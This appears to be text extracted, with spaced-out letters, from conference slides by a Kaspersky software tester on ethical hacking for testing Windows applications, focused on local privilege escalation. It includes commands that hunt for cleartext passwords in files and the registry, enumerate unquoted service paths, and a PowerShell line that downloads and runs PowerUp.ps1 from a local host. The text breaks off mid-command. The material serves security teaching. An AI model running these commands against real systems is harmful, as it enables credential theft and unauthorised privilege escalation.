V a s i l i y   B u r o v S a i n t - P e t e r s b u r g 1 6 - 1 7 . 0 4 . 2 0 2 1 A p p l y i n g   e t h i c a l   h a c k i n g   p r a c t i c e s   w h e n   t e s t i n g   W i n d o w s   a p p l i c a t i o n s
2 I n t r o C y b e r   A t t a c k   L i f e c y c l e L o c a l   P r i v i l e g e   E s c a l a t i o n   M e t h o d s C o n c l u s i o n A g e n d a
3 w h o a m i   / a l l >     I   t e s t   s o f t w a r e   f o r   1 8   y e a r s   >     S e n i o r   T e s t i n g   E n g i n e e r   a t   K a s p e r s k y   L a b >     W i n d o w s   S e c u r i t y   M a s t e r   b y   C Q U R E   A c a d e m y >     S I G M A   p r o j e c t   c o n t r i b u t o r >     O S C D   c o m m u n i t y   m e m b e r
4 - 1 0 0 %   p r o t e c t i o n   a g a i n s t   r a n s o m w a r e - P r o t e c t i n g   n e t w o r k   s h a r e d   f o l d e r s - E x p l o i t   p r o t e c t i o n - W o r k s   t o g e t h e r   w i t h   o t h e r   a n t i v i r u s e s - W o r k s   o n   W i n 7   S P 0   a n d   l a t e r - D e s k t o p   a n d   S e r v e r   O S   s u p p o r t - H o m e   a n d   B u s i n e s s   v e r s i o n s - C o m p l e t e l y   f r e e   K a s p e r s k y   A n t i - R a n s o m w a r e   T o o l
5 C y b e r   A t t a c k   L i f e c y c l e
6 L o c a l   P r i v i l e g e   E s c a l a t i o n - C l e a r - t e x t   p a s s w o r d s   i n   f i l e s   a n d   r e g i s t r y   - S e r v i c e   m i s c o n f i g u r a t i o n s - U n q u o t e d   p a t h s - V u l n e r a b l e   P r i v i l e g e s - I n s e c u r e   R e g i s t r y   P e r m i s s i o n s - I n s e c u r e   S e r v i c e   P e r m i s s i o n s - I n s e c u r e   F i l e / F o l d e r   P e r m i s s i o n s - D L L   H i j a c k i n g
7 P a s s w o r d s   i n   f i l e s   a n d   r e g i s t r y   f i n d s t r / M   / s i   p a s s w o r d   * . t x t   * . x m l   * . i n i   * . l o g   f i n d s t r / M   / s i   p a s s   * . t x t   * . x m l   * . i n i   * . l o g G e t - C h i l d I t e m - P a t h   c : \ - I n c l u d e   * . t x t , * . x m l , * . i n i , * . l o g   - F i l e   - R e c u r s e   - F o r c e   - E r r o r A c t i o n   S i l e n t l y C o n t i n u e   | S e l e c t - S t r i n g - P a t t e r n   p a s s w o r d - S i m p l e M a t c h   - E r r o r A c t i o n   S i l e n t l y C o n t i n u e   r e g q u e r y   H K L M   / f   p a s s w o r d   / t   R E G _ S Z   / s r e g q u e r y   H K C U   / f   p a s s w o r d   / t   R E G _ S Z   / s
8 U n q u o t e d   S e r v i c e   P a t h s C : \ P r o g r a m   F i l e s   ( x 8 6 ) \ P r o g r a m   F o l d e r \ A   S u b f o l d e r \ E x e c u t a b l e . e x e 1 . C : \ P r o g r a m . e x e 2 . C : \ P r o g r a m   F i l e s . e x e 3 . C : \ P r o g r a m   F i l e s   ( x 8 6 ) \ P r o g r a m . e x e 4 . C : \ P r o g r a m   F i l e s   ( x 8 6 ) \ P r o g r a m   F o l d e r \ A . e x e 5 . C : \ P r o g r a m   F i l e s   ( x 8 6 ) \ P r o g r a m   F o l d e r \ A   S u b f o l d e r \ E x e c u t a b l e . e x e
9 H o w   t o   f i n d w m i c s e r v i c e   g e t   n a m e , p a t h n a m e , s t a r t m o d e | f i n d s t r / i   / v   c : \ w i n d o w s \ \   | f i n d s t r / i   / v   G e t - W m i O b j e c t - c l a s s   W i n 3 2 _ S e r v i c e   - P r o p e r t y   N a m e , D i s p l a y N a m e , P a t h N a m e , S t a r t M o d e | W h e r e { $ _ . P a t h N a m e - n o t l i k e C : \ W i n d o w s * - a n d   $ _ . P a t h N a m e - n o t l i k e * } | s e l e c t P a t h N a m e , D i s p l a y N a m e , N a m e p o w e r s h e l l   - n o p   - e x e c   b y p a s s   - c   I E X ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 / P o w e r U p . p s 1 ) ;   G e t - S e r v i c e U n q u o t e d
1 0 H o w   t o   a b u s e i c a c l s C : \ P r o g r a m   F i l e s   ( x 8 6 )   i c a c l s C : \ P r o g r a m   F i l e s   ( x 8 6 ) \ P r o g r a m   F o l d e r   i c a c l s C : \ P r o g r a m   F i l e s   ( x 8 6 ) \ P r o g